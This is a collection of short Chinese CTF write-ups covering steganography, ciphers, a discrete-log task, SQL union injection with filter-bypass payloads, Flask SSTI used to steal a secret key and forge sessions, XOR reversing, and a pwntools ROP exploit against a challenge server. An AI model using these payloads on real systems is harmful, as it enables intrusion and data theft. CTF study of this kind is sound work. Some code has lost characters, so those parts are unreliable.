stegsolve方向键点几下就有了
Audacity频谱图是flag的倒序
猪圈密码
明文的每个字母都对应密文里某个特定的字母
from Crypto.Util.number import *
import random
n = 43241
m = random.randint(2, n-1) | 1
c = pow(m, flag, n)
print 'm = ' + str(m)
print 'c = ' + str(c)
# m = 7
# c = 35246
把网鼎杯的数据改小了,用在线网站工具离散对数计算器即可求解
联合注入,过滤了union, select, information和空格,前三个可以用双写绕过,空格用/**/绕过
payload如下
#爆表名,得到表名有flag,flag_one,users
1/**/and/**/1=2/**/uunionnion/**/sselectelect/**/1,2,group_concat(table_name)/**/from/**/iinformationnformation_schema.tables/**/where/**/table_schema=database()#
#爆字段名,注意用16进制绕过表名,最后发现flag在users表中
1/**/and/**/1=2/**/uunionnion/**/sselectelect/**/1,2,group_concat(column_name)/**/from/**/iinformationnformation_schema.columns/**/where/**/table_name=0x7573657273#
#查询数据,用group_concat得出多组数据
1/**/and/**/1=2/**/uunionnion/**/sselectelect/**/1,group_concat(username),group_concat(password)/**/from/**/users#
考点是flask的session伪造,密钥需要通过ssti模板注入得到
题目给的源码如下
import flask
from flag import flag
from key import key
app = flask.Flask(__name__)
app.secret_key = key
@app.route("/")
def index():
flask.session['user'] = 'guest'
return "Please login as admin"
@app.route("/admin")
def admin():
if flask.session['user'] == 'admin':
return str(flag)
else:
return "Please login as admin"
@app.errorhandler(404)
def page_not_found(error):
referrer = flask.request.headers.get("referer")
if referrer is None:
referrer = '/'
if not valid_url(referrer):
referrer = '/'
html = '404 Not Found Page not found. Redirecting...'.format(referrer)
return flask.render_template_string(html), 404
def valid_url(url):
""" Check if given url is valid """
host = flask.request.host_url
if not url.startswith(host):
return False # Not from my server
if len(url) - len(host) > 16:
return False # Referer may be also 404
return True
if __name__ == '__main__':
app.run(
host='0.0.0.0',
port='8000',
debug=False
)
1.admin函数的意思是在/admin目录的session里需要让user==admin才能拿到flag
2.valid_url函数对url进行了限制,必须以host_url的内容开头,并且长度差值不能大于16,所以无法进行文件包含或RCE
3.处理404页面的page_not_found函数存在模板注入,Referer,因Referer长度也有限制,所以就用{{config}}来读取配置
成功获取密钥,下载工具flask-session-cookie-manager
使用工具的命令对session进行解码,把guest改成admin之后再进行编码,生成新的session
访问/admin目录,用burpsuite抓包,把session改成新的即可
拖入ida按F5反汇编查看伪代码,主要部分如下:
字符串s即最后的flag,长度为29,字符数组num2的值由num和s异或运算得到,num2和num3的值相等,num3和num的值都可以通过双击查看到,写个脚本逆向求得s的值
#include
using namespace std;
int main()
{
char n[30]={9,0xa,0xf,0x17,7,0x18,0xc,6,1,0x10,3,0x11,0xe,0x1c,0xb,0x12,0x1b,0x16,4,0xd,0x13,0x14,0x15,2,0x19,5,0x1a,8};
char n2[30]={0x7d,0x5e,0x6c,0x30,0x7e,0x68,0x72,0x7c,0x29,0x6f,0x66,0x3e,0x3c,0x52,0x6b,0x6e,0x62,0x67,0x77,0x24,0x7c,0x74,0x73,0x70,0x76,0x46,0x7f,0x44,0x6e};
char s[30];
for (int i = 0; i <= 28; ++i )
s[i]=n2[n[i]]^n[i];
cout<<s;
return 0;
}
nc之后说flag藏在了里面,下pwntools即可拿到flag,想到了pwntools的recv可以显示出被\r隐藏的句子
限制了长度为2,而$0相当于/bin/sh,所以这次输入$0即可,其它同上
payload如下:
from pwn import *
#sh = process('./rop')
sh=remote('121.41.113.245',10003)
binsh_addr = 0x08049a20
system_plt = 0x080483D0
payload = flat(['a' * 60, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
scanf任意地址改写,第一次输入的是需要被改的目标函数地址,即这里的puts函数,第二次输入的是改写成的函数的地址,即system函数,要让puts(’/bin/sh’)变为system(’/bin/sh’),往puts的GOT表写system的PLT表。